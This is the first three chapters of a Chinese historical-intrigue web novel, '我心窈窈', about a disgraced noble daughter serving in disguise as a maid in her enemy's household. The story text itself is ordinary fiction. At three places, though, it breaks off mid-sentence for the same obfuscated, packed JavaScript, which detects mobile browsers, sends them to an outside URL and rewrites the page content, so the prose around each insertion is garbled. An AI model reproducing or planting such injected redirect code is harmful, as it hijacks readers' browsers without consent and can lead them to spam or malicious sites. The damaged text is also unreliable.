《我心窈窈》 1. 第 1 章 “这么说，我倒是冤枉你了？” 急雨从层叠的檐牙飙洗而过，砸落在窗外招展芭蕉叶上，淅沥沥如珠玉碎溅，凿开一派潮润气息。 正房内，许静瑶听完嬷嬷的回禀，自美人榻上懒掀起眼，越过昏黄的烛火瞟向跪地之人，问出这句话。 女婢抬着颈项，低垂目光未与她直视，人还算得上淡定：“奴婢不敢有此意，想是夫人平日里簪钗环佩多不胜数，可能厝置何处了也未可知。” 平平无奇的一张脸，寡淡的让人难以一眼记住，也不知今岁莺时，阿年是如何在成群的姑娘堆里一眼挑中了她，让她做了他的女侍，往后处处听任照拂。 许静瑶一面啜饮香花熟水润喉，一面更加仔细地打量。 若非要说，便是那张脸往下的脖颈极其漂亮，弱骨纤形，身姿端正，露出的肤色白皙细腻，再无什么可夸赞的了。 她递予刘嬷嬷一个责怨的眼神，心中另有其他疑窦未解。 那只金钗，原是她入相府时的陪嫁，晚间未落雨前，刘嬷嬷信誓旦旦称，已将其放进了这婢女枕下，何故到了如今捉脏之时，却如凭空消失一般，让她拿人拿的，委实有几分理短，更何况…… 想到什么，许静瑶困意消解大半，一对琉璃似的眼珠转动着，在那婢女身上滚了几遭。更何况，这婢子乃是她那继子薛辞年院中的人。 前有权势煊赫的门楣荫庇，后有三朝巨室的外祖为其兜底，她这继子在照京可谓要风得风要雨得雨，可惜贵不召骄，性子极为散漫难驯，不可向迩。 自打她十二年前入相府第一日起，他便未曾予过她好脸色，更莫提她今夜趁着薛辞年人在宫中，派人气势汹汹闯了他的院子，翻了他的屋子，押了他的人。 倘使没有一个站的住脚的理由，过后薛辞年怪罪下来，只怕又是一场疾风横雨。 许静瑶一双眸子终是缓缓凝住，定在那婢女一动不动的眼皮上，面上浮起笑，声音柔柔唤她的名字：“阿檀。” 她抬起指尖，点向门扉处，“今日踏过这门槛的外人只有你一个，你的意思，难不成是我自己屋里的人手脚不干净？” 话落地，满屋侍婢伏地，哀求明察。 见阿檀沉默不语，她又为难地叹一口气，大度道：“你方才所言并非全无道理，我且着人再四下翻一翻，若仍遍寻不见，你便得给我一个说法了。” 闻言，静候的婢女们齐齐动作起来，一时细索脚步声、木匣开合声、钗环拨动声交错响起。 许静瑶听得百般聊赖，索性支起身来摆弄几案上的首饰和胭脂奁，自顾对镜而照。 也不知旁遭的响动何时停了，余光中瞄见身侧呈着样金灿灿的物甚，转眼瞧去，眉心猛地一跳。 她直腰环视四周，对上一排黑压压的脑袋和刘嬷嬷瞠目结舌的神色，暗啐一句无用，咬着牙：“哪里寻见的？” “压在夫人明日入宫要穿的裙裳下。”萍儿低着头，小声答。 许静瑶仔细盯了半晌才认出，这婢子是阿兄前日刚遣来的，说是家生的奴才，虽然年纪尚小，好歹知晓根底，忠心可靠，必是好管教的，岂料还未来得及管教，竟先坏了她的事！ 目光落到衣笥所呈的裙裳上，许静瑶回想起来，因着毫无预兆的落雨，这身新制的衣裳从城东的兰皋衣坊送出来，比约定的晚到了几个时辰，萍儿不认得人，回来时只说是由人转交的。 至于衣裳何时经了阿檀的手，金钗又是如何悄无声息回到了原处，许静瑶何等精明，自是猜到了阿檀在其中的手笔。 只是被一个婢女这样戏耍，却又无处发作，不免心中窝火，狠狠剜了不知内情的萍儿一眼，捏着金钗久久未语。 “夫人可还有什么吩咐？”阿檀低眉敛目，十分乖觉地问道。 许静瑶挑了挑眉，有些许意外，神态放松不少：“你倒是个聪明的。” 她如此大费周折，精心设计，先是从相爷的书房拾来了薛辞年所遗之物，后又以此名义引阿檀入正房，进内室，怎会只为顺理成章陷害一个无足轻重的婢女？许静瑶对她的识时务相当满意。 只是这样处变不惊的行事风格，以及活络委婉的心计手段，莫名让她回想起一件事，一个人。 那是平昭十四年的夏，大约三年前。 朝中太尉小姐云颜因爱慕齐王世子，在太后寿宴之上，宫苑无人处，以天仙子所制的香粉迷其心窍，拽下其腰间玉佩以求再度相见。 谁料此举险让恰经此处的顺安侯之女季窈撞破，云颜仓惶避在暗处，见二人攀谈起来，心生嫉妒，装作第一次出面，打断了他们。 彼时正是宴会最盛时，宫中朝臣女眷颇多，衣香鬓影，冠盖如云，不过一个小小的玉佩，没成想竟引起一场轩然大波。 六道宫门随着一声令下轰然关闭，其中不论是手握大权的高官，还是人微言轻的仆婢，统统被禁军扣下不得擅动。 云颜霎时明白自己闯了大祸，思及当时情景，果断将玉佩丢在了季窈裙边，让她替自己背了黑锅，还跳出来做了证人。 大殿对峙，数百双审视的眼睛犹同鬼火，那季家小姐冷眼静看，开口的第一句话，便令云颜毛森骨立。 “可是云四小姐，我分明见过你两次。” 不过是诱诈之策，却使得云颜方寸大乱。 之后那季窈更是在极尽紧绷的重压之下，顶着御史的逼问，陛下的威压，云颜的不依不饶，以及齐王世子晕头转向做出的伪证，不知如何看破了其中疑点，牵扯出天仙子这一层关系，顺利脱身…… 风声狂乱，急骤的雨点将窗柩打得噼啪作响，许静瑶望着屋中静跪不动的少女，有些许恍惚。 还真是像啊，可惜，那季家女儿已经死了。 她淡漠地转开眼，靠着引枕偏了偏身，悠悠道：“算算时日，你入府已有三月了罢，如今差事办的如何？” 阿檀做恭谨姿态，“奴婢愚钝，如今差事办的尚算顺当。” “那便好，阿年与我不大亲近，身边又都是些粗心大意的小厮，好在今年初春难得听了我的话，往院里挑了个女婢去，便是你。”她瞥眼瞧着阿檀的反应，继续道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923760|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“听闻阿年还专程为你腾出间卧房来，素日里待下人也体恤，说来是你的福气……” “今年多大了？” “……十七。” 房间陷入诡异的沉默，不知过了多久，上首才状似不经意问：“这段时日，你可曾去过阿年房中？” 阿檀错愕抬首，愣怔几息后伏拜下去，语气似有惶恐：“奴婢不敢！” 许静瑶觑着她，这个角度，只能看到她鸦黑垂顺于肩的发和频频颤动的睫羽，心想到底是个未经世事小丫头，方才却是高看她了。 “阿檀你不必紧张，夫人没有怪罪你的意思。”旁侧的刘嬷嬷适时开口。 “公子年岁渐长，如今已到了知晓人事的时候，你作为公子院中唯一的婢女，理应为其排忧解难才是。” 听上去是极体面正大的。 “是……只是公子对奴婢并无他意，奴婢不敢逾越。”阿檀斟酌着措辞。 “你又怎知公子无意？”刘嬷嬷难得温和，循循善诱：“你若有这个福分，能得公子垂青，夫人便愿意做主抬你为妾，总好过你这一辈子，为奴为婢的强。” 见她犹豫，上头的语气蓦然一厉，恩威并施：“你若不愿，自有的是人抢这份差事，届时不论公子多么维护你，夫人作为当家主母，不知有多少法子能将你赶出府去！” 这番话好似戳中阿檀软处，只见她压在地面的手指不自觉蜷起，因用力而泛着层显见的惨白，额角渗出薄薄冷汗。 席卷的雨声和着缓慢而刻板的更漏声，凝滞的卧房里，只听她轻轻吐出一口浊气，语调仍佯作平稳：“能得夫人看重，是奴婢之幸。” 得到想要的回答，许氏勉强打起精神，开口道：“抬起头来。” 阿檀依言照做。 许静瑶的目光在她脸上循上一圈，似乎不大满意，又朝她招招手：“你过来。” 待阿檀到了跟前，许静瑶示意她凑近些，又从榻几上拿了眉笔，在黛砚上沾了沾，从她的眉上描过几笔。 描完捏过她的下巴，示意她看案上的铜镜。 “如此瞧着倒比方才好看些。”许静瑶道，“女为悦己者容，阿年待你不薄，你该好好珍惜。” 少女被迫望向镜中人。 杏仁眼，弯月眉，稚齿婑媠，皓质呈露，尖巧的下巴教染了豆蔻的指尖轻轻捏住，一双眼眸清澈无波，冷静，甚至有些漠然地凝睇着。 屋外雨势更大，隐翳良久的天闪终于从云层后决裂而出，自遥远的天际重重劈下，煞白的光影透过窗子映照进来，电光如朝露，快速明灭闪烁后，熄于惊天动地的雷鸣。 许静瑶因这动静吓得手腕一抖，长而薄的指甲在阿檀的唇角划下一道细长的口子。 阿檀始终镇静，镇静到似乎未曾感受到这令人生惧的雷鸣以及脸上的疼痛，只木然立在一旁。 惨光从她面上飞掠，几乎将面目模糊，惟有眉心一点红印，艳艳似要生光，镜中玉姿之色与之配在一处，如同从黑夜深处走出的鬼魅。 与许氏眼中的，哪里是同一张脸？ 2. 第 2 章 季窈被屏退出来，撑一把油纸伞，置身一片幽暗迷潆中。 屋外仍旧风萧雨疏，难解难分，庭前一树开得火红的石榴花早已经受不住摧折，零落在满地泥泞里，远远瞧着，如一潭晃动不止的血水。 浓郁的，粘稠的，席卷着腥气，不由分说将她拖拽回那个惨烈的雨夜。 黑若深渊的天幕，磅礴倾泻的秋雨，洞开的府门和横陈的尸体…… 她扑跌在混杂泥血的积水当中，哭着爬过一具具尸体，将早已凉透的母亲抱入怀中。 殿前司的兵卫上来将她拉扯，她死死攥住母亲的手，分离之际，一颗珊瑚珠子轻轻滚入掌心。 随着门外一声喝止，大雨骤停，人影静止，满院的尸体开始迅速干瘪、腐化，迷惘间，耳畔传来几道窃窃私语。 “顺安候都已死在流放途中了，还留着这罪臣之女作何？” “听闻是明华公主以死相逼，齐王世子也跪在殿外求情，就连……” 尖啸的嗡鸣穿耳而来，她再没听清后面的话，季府被抄家时的混乱景象遽然在脑海里涌现。 身穿黑铁甲的禁军呵斥推搡着，持剑闯入府中，在书房内搜出了父亲与燕赤王庭的来往密信，甚还有燕赤国君御赐的龙脊佩刀。 被押走前，父亲受到准许，回房与母亲话别，她悄声缀过去，听得断断续续的几句：“鼎足之势已破，前事尚未了清，这些诡计构陷……终究还是薛显……” 薛显，薛显。那个权倾朝野的薛相，那个与父亲立场相左，半生政敌，能一封谏书将父亲送往南关戍边的薛相。 季窈几乎浑身战栗，那一刻，心中的恨意犹同翻腾江水，再无法平静。 这恨意撑持着她从病痛中惊醒，形销骨立，没入奴籍，被牙人的一双手推向典卖江南的马车上。 不曾想生机斗转，南北做着同等买卖的马车不期而遇，因大雪封道一同宿在沿途的破庙里。 那被贩来的江南女奴，一包蒙汗药药倒了两派人马，临走前回头的一眼，惊出一身冷汗。 她望着角落里季窈沉定定的眼，确认她没有阻拦之意，才抖着声音开口：“锅里的东西你没吃？” 说着四下观望，紧张地吞咽口水：“要不要一起？” 季窈轻轻摇头，“我是官奴，若逃了，海捕文书将贴满大靖上下，被抓住唯有处死的下场。” 女奴自身尚且难保，哪里顾得上他人，闻言掉头拨开门栓，慌张步入风雪中。 门户一张一合，凌乱的雪乘隙而入，又转瞬融化在跃动的光焰上，光焰牵扯的火浪如同鬼爪，照清遗落在地上的事物。 季窈捡起细看，是那女奴的身契。 她眉头蹙起，将身契揣好，寻迹追去。 雪夜空蒙，放眼是茫茫的白，以至远处一片被浸染的艳色显得格外刺目。 身怀细软乾粮的少女惨死在歹徒刀下，嗜血的刀锋同样望见了她，红刃翻转，挥舞过来。 当头而下的瞬间，一把剑从眼前铮鏦飞刺，将刀锋击开。 “季家孤女，让贫道好找。” 救下她的是个身着破烂衲衣的老道，歹徒被他深厚的内力所震撼，刀也不及拔，落荒而逃。 老道看看雪地里毫无生息的少女，再看看一旁惊疑不定的季窈，叹了一句：“死生有命，贫富有时啊……” 季窈警惕地盯着他：“你认识我？你是何人？” “贫道莲真子，这一面，我已等了整整二十五年了。”老道那双深邃的眼仿佛能够洞穿时光的迷层，他的声音在风雪中飘渺：“你还有未竟的事，此一去山高路远，可未必回的来。” “你有办法帮我？”季窈抓住重点。 莲真子一笑：“天地为局，姑娘是颗废子，想要为此扭转乾坤不难，却得做好反噬自身的准备，你若能想明白这一点，贫道自然帮得。” “区区赴局之险，不足为意。”季窈毫不迟疑，退后一步，叉手行礼：“还请道长指点。” “那便得罪了！”莲真子蓦然拔出雪中的剑。 季窈在这刹抬眼，迎面一点淬冰寒芒直指向她，又在距眉心差得毫厘时止住，剑气凌厉如实质，眉心被刺得一痛。 还未等她反应过来，又见莲真子向怀里一摸，夹出张符来，猛地贴到她的伤口处，一时金光大现，寒风乱卷，漫天大雪如鸦羽翻飞，灼灼刺痛与沁骨冷意在体内相搅缠，激得季窈眼前一阵阵发黑，失力跪倒在地。 烁亮的明光缓缓退散，纸符燃尽，飞灰飘落，显露出眉宇间悄生的印记，如天凤，似烈火。 “凤羽之印，隐汝音容，至于接下来的造化且看你自己了！” 季窈浑浑噩噩，忘了自己是如何回去的，只是第二日，她发着高热被人唤醒，所有人都认定她是那江南女奴，还告诉她季窈死了，逃跑不成反倒丢了性命，真是荒唐。 季窈也觉得荒唐，简直荒唐极了。 她的容貌分明还是原先的样子，一丝一毫都没有变，可在所有人眼中，季窈就是死了，她就是那江南女奴。 一切都太过虚幻，让她恍惚间以为是场怪诞离奇的梦。凤羽之印，隐汝音容、隐汝音容……竟当真如那老道所言，凤羽印点成，乾坤得圜转。 她借着这场高热谎称失忆，自言记不得来路名姓，顺势随牙人回了京。 牙人乐得如此，又见她乖巧颖悟，一点就透，于是好生调.教，欲将她卖进富贵人家，图谋丰厚的银讫。 丞相府挑选侍婢，便是最好的时机。 兜兜转转，命数如织，短短半载时光，一个簪缨世族在此之间销声匿迹，一个毫无威胁的孤女偷天换日，光明正大踏入了仇敌巢穴。 季窈混在人群中，浑身血液烧得发烫，脑中一时是血海漫天的仇恨，一时是如何留在此地的算计，心中潮绪起伏不定，许久许久没有平息。 可她怎么也没想到，那些所有的算计、考虑根本没有用武之地，薛辞年挑中了她。 那是春日里晴朗温暖午后，云融融，风淡淡，少年如记忆里那般，穿着绣金鹤的珍珠白衬红翻领锦袍，满脸不耐，让许静瑶领着到了庭院里。 他瞧着比之前高了许多，眉眼也长开了些，许静瑶让他挑人，他就闲闲扫视一圈，最终目光良久的，沉沉落在她身上。 她当时还未适应别人都认不出她的事实，他这样看她，她便紧张的一颗心都要跳出来。 许静瑶马上意会了他的意思，一声令下，叫她留在薛辞年身边伺候。 “且还差个名儿，便叫……阿檀如何？”许静瑶捏着绢帕，笑的慈和又矜持。 事实是，她知道薛辞年根本不会听她的话，不过是为了应景，随口取的。 “就叫这个。” 石榴花在雨水中晃啊晃，晃的满池血色渐次退散，腥气消弥，只剩一池清淡淡的萍碎，和宜人的草木香气。 重见天日。 季窈从回忆中抽出思绪，伸出手感受伞外肆虐的急雨，雨水不停歇，重重打在掌心，冰冷的疼让她稍事清醒，明白过来，这不是梦。 哪怕是梦，她也会死死抓住。 * 皇宫的春似乎去的格外迟，一夜暴雨方歇，宫内飞花满园不再，终于有了几分绿肥红瘦的夏日模样。 楸树亦过了盛花之期，虽非万层花开，尤存百缕香风。 飞鸟下，花枝间，彩绣玲珑的鞠球屡屡高出宫墙之上，打落半树花蕊，引得宫墙这侧的女学生怨声连连。 “当真是行径粗莽，全无惜物之心！” 同行替她摘去发间花叶，安抚道：“听闻他们蹴的极差，薛公子和齐王世子轮番上阵指教都无甚么长进呢。” “急来抱佛脚罢了！若非有薛公子和世子殿下压场，想来待会儿的蹴鞠宴，也没什么看头。”被中伤的女学生嘟囔个不停。 当今陛下推崇文体相兼、动静相宜的诲化之风，故以设宴、宸游之名，率群臣学子较技之事常有，男女同堂亦逐渐被接纳，这才有了宫学中的红飞翠舞、嵯峨云髻。 “陛下恐无心理会这些。”同行朝两侧瞄一眼，以帕掩嘴，低声议论：“昨夜我见父亲的书房亮了一宿，似乎又在谈论私盐之事，继大半年前金部郎中察视两淮盐场时落水昏迷，这回大理寺少卿倒是好端端的回程了，可平日剖决如流的一个人，竟是无功而返……” 二人私语着，相携走远，季窈立在翠微亭的花台旁，第一次有了物是人非的实感。 她今日有幸来此一睹宫城的蹴鞠盛宴，全仰赖许静瑶的一片“良苦用心”。 只是她实在猜不透她的意图，一介于草芥蝼蚁无异的下等仆婢，能得相夫人“青眼” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923761|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，以她如今的力所能及之处，只会和薛辞年有关。 许静瑶想借此得到什么？季窈望着宫墙那头的时高时低的鞠球，慢慢地猜想。 薛辞年的信任？薛相去后在薛家的处境？还是百年后的相府许氏之名？ 她望着枝叶筛下的满园碎光，眸一转，忽见宫道前缓缓拐来一道仪仗。 仪仗众星拱月捧着轿撵上的人，待看清撵上那熟悉的明艳面孔，季窈心头猛地一震，直愣愣定在原地。 仪仗愈来愈近，愈来愈近，走在前头的宫女高声呵斥：“明华公主仪驾，还不避让！” 季窈后知后觉，回过神只感到浑身僵直，整个人近乎是麻木的，退步、垂首、屈膝、行礼。 轿撵上的人并未施舍给她一个眼神，懒着嗓音，问撵下的宫人：“如意湖当真有株并蒂莲？” “是了公主，奴婢去瞧过了，一支茎上结了两朵苞，稀罕得紧呢！”宫人答。 仪仗迤逦而去，季窈望着他们走远的背影，迟迟没能收回目光。 她记得以前每到铅华夏花浸炎日的时令，她和明华总要一起去如意湖寻凉，这时湖中已挤挤挨挨开满了荷莲，两人执一把绢扇，捏三两把鱼食，悠悠哉哉能在那里消磨一整日的时光。 只是，那时湖中还没有令人稀奇的并蒂莲，扶疏枝叶之下也未有热意，她也并不觉得这皇宫之中如此之大。 一阵长风起，吹动树木沙沙作响，视线中的碎光跳得急切，仿若千万只金色蝴蝶振翅飞舞，缭乱的让人目眩神迷，一时竟分不清此时是虚妄还是现实。 肩膀传来的撞痛救她于混沌，脚下踉跄着稳住神魂，手心已被无声塞了张字条。 季窈瞬间如久梦乍回，不动声色捏紧手中的纸，刚欲快步离开，横拦的一只手臂阻住她的去路。 不知从何处冒出的一群宫女将她围拢，推搡着将她带到无人的轩殿之后，审问般说出她的身份，“你便是阿檀？小相爷身边的婢女？” 季窈面上无太大波澜，“各位都已将我带到此处了，何必再多此一问。” 为首的高个宫女一副兴师问罪的模样，道：“丞相府的代桃，不知你认不认得？” 季窈略作回忆，“我与她不相熟。” “不相熟？不相熟何故受了我妹妹的照顾，得了她的好处，答应了同小相爷求个情，好让她换份差事，最后却出尔反尔，不肯相帮？”高个宫女步步紧逼。 季窈后背已贴上宫墙赤色的砖石，退无可退，经她这话，想起初入府时，代桃的确是对她百般示好。 起先她不明白她的意图，但因自身戒备心重，不曾收受过她的什么东西，也无需她的帮助。 后来代桃频频暗示，季窈才反应过来，她是艳羡辞年院中差事清闲，月银丰厚，想让她在其间为她说情相助。 当时季窈也才入相府半月而已，自身尚未站稳脚跟，哪里就能确信薛辞年会答应她的请求？ 她清楚代桃会因她的拒绝而怀恨在心，却没想传到她在宫中做宫女的姐姐耳中，全然变成了另外一种说辞，以至眼下给自己带来这样的麻烦。 “你们如此对我，就不怕我回头找我家公子告状？”季窈指尖暗暗捻一颗石子，早已看准了对面树梢上挂着的蜂窠。 薛辞年骄狞恶劣的名声打在外头，狐假虎威的法子倒是可以用上一用，倘若行不通，再动手也不迟。 宫女们闻言明显有了退缩之意，高个宫女也迟疑一瞬，但很快再次涨起气焰，“是啊，我还没请教你呢，你是用了什么狐媚妖法蒙蔽小相爷，竟让小相爷对你一个卑贱婢子这般不同？如此不知天高地厚，莫不是妄想翻身做主子不成？” 她伸手要去扯季窈的发髻，“你倒是教教我呀……” “与其请教她，不如直接来问我。” 清冽的嗓音突兀地从上空响起，众人不约而同抬头，迎着灼目的阳光，望见坐在屋檐上的少年。 将至午时，耀眼的日头高高悬于穹顶，湛蓝的天空铺于身后，墙头绿叶刺红斜斜探出，含苞待放且沁着水珠。 少年一身鸦青色对雁团花圆领锦袍，高高的马尾与同色缀珍珠的发带垂在肩上，长腿半曲，腕口紧束撑在膝头，就这样漫不经心俯视下来，嘴角似乎是勾着笑，可那双眼却是极冷的。 “小……小相爷？！” 3. 第 3 章 薛辞年出现的始料未及。 适才还架势十足的宫女们此刻一个个缩成了鹌鹑，做贼心虚般悄摸往后退，自动将那高个宫女露于人前。 薛辞年则利落地从屋顶上跳下来，落在众人之间，而后偏头睨那高个宫女一眼，面色带笑问：“我方才没听清，你想请教什么来着？” 高个宫女惶恐万状，腿一软就跪了下去，连带着身后一溜大气不敢出的人，叠声哀求：“小相爷饶命！” 薛辞年脸上的神色已彻底冷了下去，再不看她们一眼，只厌恶地吐出一个字：“滚。” 宫女们闻言如蒙大赦，相携着爬起身，却不敢疾走，等退得有些距离了，便听凌乱而慌张的脚步声自身后迅速远去。 季窈也讶异于薛辞年的突然现身，毕竟这轩殿偏僻又荒芜，听闻是篡权登位的前朝皇帝曾经最爱的拨烦之处，当今陛下复国后，重置各宫各殿，唯独略过了此处，都说定是陛下对其恨之入骨，才任由其破败颓落，连提及半句也不肯。 “公子怎会寻到这里？” 薛辞年的脸色在对上季窈时和缓下来，目光落在她纹丝不乱的发髻上，不答反问：“不是说不必你进宫？怎么还是过来了？” 他的神情和语气都太过凝重，让季窈以为在谈论什么关乎死生的大事，遂安抚般笑笑：“侍奉公子是奴婢的分内事，怎能懈怠。” “阿婵。”少年无奈唤她一声。 与放意惯了的他不同，阿檀太规矩，说话行事永远端端正正，毫无差错，无不合乎礼节，也正是如此，二人往往难以相投，主仆之间看似默契，实则总像隔着层无形的屏障。 薛辞年到底未多说什么，却在瞧见她的唇角时一凝，声音寒下来：“她们伤你了？” 季窈不明所以，顺着他的视线往唇角摸去，在感受到细微的刺痛时眸光微滞，面不改色道：“未曾，是我晨间盥洗时不小心划的。” 许静瑶这一番算计，的确拿捏住了季窈。 但季窈并非自小在权贵脚下挣扎求生的无知仆婢，也不会被许静瑶的话唬到，她清楚的知道薛辞年不会容忍他人插手己事，而许静瑶也不能轻易处置了她。 如若薛辞年得知了这一切，许静瑶逼迫她做的事便会迎刃而解，但她也会因此得罪许静瑶，往后在相府的处境只会更加艰难…… 一切的一切，她全都炳若观火，可她没有半分还手之力，便不得不受人挟制而行。 薛辞年一言不发盯着她，似是想从她脸上看出什么端倪，他的目光没有审视，也并不锐利，反而有种难以言喻的、让季窈感受不明的情绪。 她的眼神变得飘忽，心中犹疑不定，猜想薛辞年怕是没有相信她的话，暗暗盘起腹稿。 最终，却只听他叹息一声：“没事就好。” 绿树葱郁浓阴，墙头怒放的蔷薇连成绚烂的锦帐，少年少女的身影从锦帐下穿行，如盖的绿荫在头顶交错，彻彻蝉鸣声随行。 季窈垂眼跟在薛辞年身后，视线中连绵匝地的阴影一路变换不止，又忽而生硬地止住，她一头撞上少年的背。 “扶光。”一道温润的声音传入耳际，“人可找到了？” 面前薛辞年的身形一让，季窈便抬眼望见此人。长眉若柳，身如玉树，朗朗如天边月华砌就，皎皎如无暇美玉铸造，凤眸之中不见凌厉，唯有坦荡的清正之色，却是熟人。 看到她，那人笑了：“你便是阿檀？你是不知你家公子方才有多怪异，一口咬定你出了事，撇下鞠场里肄习的一众世家公子，执意寻了出来。” 他似乎觉得有趣，又像在揶揄薛辞年的失态，“有些人却是杞人忧天了，此处是皇宫，哪里会出什么事。” 季窈微谨低首，朝他见礼：“见过世子殿下。” 正是齐王世子梁昀青。又或者说，是没有储君之名，却有储君之实的，当朝储君。 昔年漫漫复国之途如躏跞涧壑，九死一生，陛下膝下的四子一女尽数折损其间，季薛云三股势力竭尽扶助，领兵、谋策、内应，待得登庸纳揆，海晏河清，明华公主才在万众瞩目中降生。 陛下本就在当年交战时落下旧伤，皇后产厄而死后更是悲痛不已，身体一落千丈，大不如前，也再难孕育子嗣了。 朝中不论是名臣硕老，还是当朝新贵，皆对立女子为储之事万分抗拒，甚有撞柱死谏，血溅当场者，争讨之声震天动地。 陛下无法，无奈从皇亲之中遴选天资卓越的幼子接到宫中教养，便是点中了梁昀青。 思及旧日同窗之谊，以及季家落难后他冒着废储之险为他们求情，季窈对此心怀感激，是以这句见礼格外真心实意。 梁昀青微微颔首致意，转而看向薛辞年，言简意赅：“有事相商。” 薛辞年的心思全然不在这之上，一口回绝：“我暂且有旁的事，改日再商。” 梁昀青一把拽住即要绕行离开的薛辞年，低声提醒：“有些人按捺不住了。” 二人之间并未多言，只是交换眼神以确认，薛辞年旋即妥协，回头示意季窈跟上。 如腰长廊倚水而建，两端粼粼波光映照，倒影摇曳，人在廊上走，宛如鱼在水中游。 这时三人的步履便带了几分匆匆之意，沿路掠花抚水，很快来到梁昀青平日所居的寝殿。 有宫女近前拨香斟茶，薛辞年与梁昀青相对而坐，开始说些不痛不痒的琐碎事宜。 季窈侍立一旁，已然神游天外起来，萦绕鼻尖的沉香让她清心静气，手心的纸条却一攥再攥。 她心觉此处熟悉，大胆地朝窗外频频张望，略略收眼之际，便同梁昀青对上视线，让她一瞬感到拘诸。 可那双眼中毫无责怪之色，反而稍显温和，开口道：“膳房熬制的荔枝膏水清润香甜，想是你们姑娘家喜爱的，偏殿正备着，你不妨代本殿去尝尝。” 季窈心下稍松，明白过来什么，识趣的谢恩告退。 踏出殿门时，她隐约听到薛辞年的声音：“她可堪信，以后不必特意支开。” “你倒是好了伤疤忘了疼，看来是当初的毒没吃够。” 她的脚步不自觉顿住。 殿内回答梁昀青的，是针落可闻的沉默。 “罢了，前事不提，先谈如今——”梁昀青转开话题，“我找到让你尽快入仕的法子了……” 阶前有宫人相伴行走，季窈不敢多留，内心仍旧止不住疑惑。 从前的薛辞年是有多冥顽不灵，恶劣难驯，宫学之中无人不知，莫说心向仕途，便是六科都学的敷衍了事，曾经更是扬言此生不仕，至今短短光景，如何还轻易改换了心志？ 然则她眼下无心深究这些，折转至宫殿无人处，悄悄展开字条一观，眉心无声攒起。 思绪飘回季家出事那夜，那被贬的前户部侍郎乔良，遮人耳目，千里迢迢自扬州入京，尚未张口便被一箭射死在父亲的书房中。 季家因此被有心之人破开一道征伐的口子，背上了通敌叛国的罪名，直至满门男丁于流放途中“遭难”，女眷集体“自尽”府中…… 乔良不惜身负杀身之祸，也要与父亲秘密相见，季窈始终认为他知道些什么。 而今乔良已死，有可能知道这背后隐秘的人唯剩他的两个儿子，她自回京后辗转与宫中旧人勾线搭桥，试图打听他们的下落。 现今旧人告诉她，乔家二子时下亦在扬州。 她要如何与千里之外的扬州取得联系？ * 薛辞年与梁昀青的这番商议，一直到了蹴鞠盛宴伊始，毬队两方的拈卷之时才结束。 换下锦袍玉带，身着两色鞠衣，入场的少年们纷纷拨赘去饰，轻装上阵，只为以最好的容貌体态展于圣前——除了薛辞年。 发带上所缀的珍珠是死也不肯拽的，颈前所佩的鱼莲玉坠是碰也不给碰的，教正与社司是谁也管不了的，就这样放任他叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14923762|160403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮当当地入了场。 与另一方保守的靛蓝不同，他们的鞠衣色采太过赩炽，稍有不妥就要被压得黯然无光，偏让薛辞年穿得格外出挑，唇红齿白，鹤势螂形，引场外无数女子侧目。 季窈撑一把青绢伞，远远将鞠场的分队状况看清楚。 今年宫学门生的蹴技不佳，都部署恐陛下观之见责，遂请几名技艺上乘的宗室贵子赴会，也不知有意还是无意，仍将齐王世子与裕王世子分将开来。 这便与多年前的每回斗试一样，齐王世子梁昀青与裕王世子梁趈，总是对立相争的两个阵营。 实是裕王次子梁趡过于争强好胜，自幼对梁昀青嫉恨在胸，不与之为伍，常因此置自家阿兄与两难境地。 裕王的就藩之地远在渭州，宫学未设前，季窈仅因遴选宗室子一事对他们有所耳闻，后来宫学开设，季窈与之同堂承师，依旧不甚相熟。 只记得梁趈沉稳谦逊，梁趡娇惯蛮横，兄弟二人脾性迥异，感情却十分深厚。 这般去看，此次蹴鞠似乎与之前多次并无差别，唯有一点不同的，就是向来不掺和斗试的薛辞年，添进了梁昀青的毬队里。 楝花蔌蔌飘满陛阶，旌旗猎猎向西飞斜。等到宁昌帝与太后登上瑶台，传下口谕，随着一声锣声响彻云霄，鞠场内外顿时梅角齐吹，擂鼓助威，拈中当先开蹴的梁趈一方挟鞠迅疾而动。 季窈于体格锻炼上资质平平，不善蹴鞠，但大靖朝不乏女子精于此道，常挽高髻，罗裙曳动而踏，一脚直高数丈，丝毫不输男子。 她不禁再度仰望高台，那里没有明华，那个尤爱欢乐、向往自由的公主，放在以前，这种百人同欢的景观，她是从来不会缺席的。 怔然间，如潮的欢呼倏然一收，身侧的小内监惊呼出声，“呦，这是怎的了？” 季窈回神去望，只见鞠球映着烈日高飞，即要越过赤方的风流眼，梁昀青不知为何在这节骨眼滚在了地上，生生挨了几遭才勉强爬起身。 一切发生的太突然，薛辞年飞身去拦已来不及，靛方毫无悬念赢得一筹。 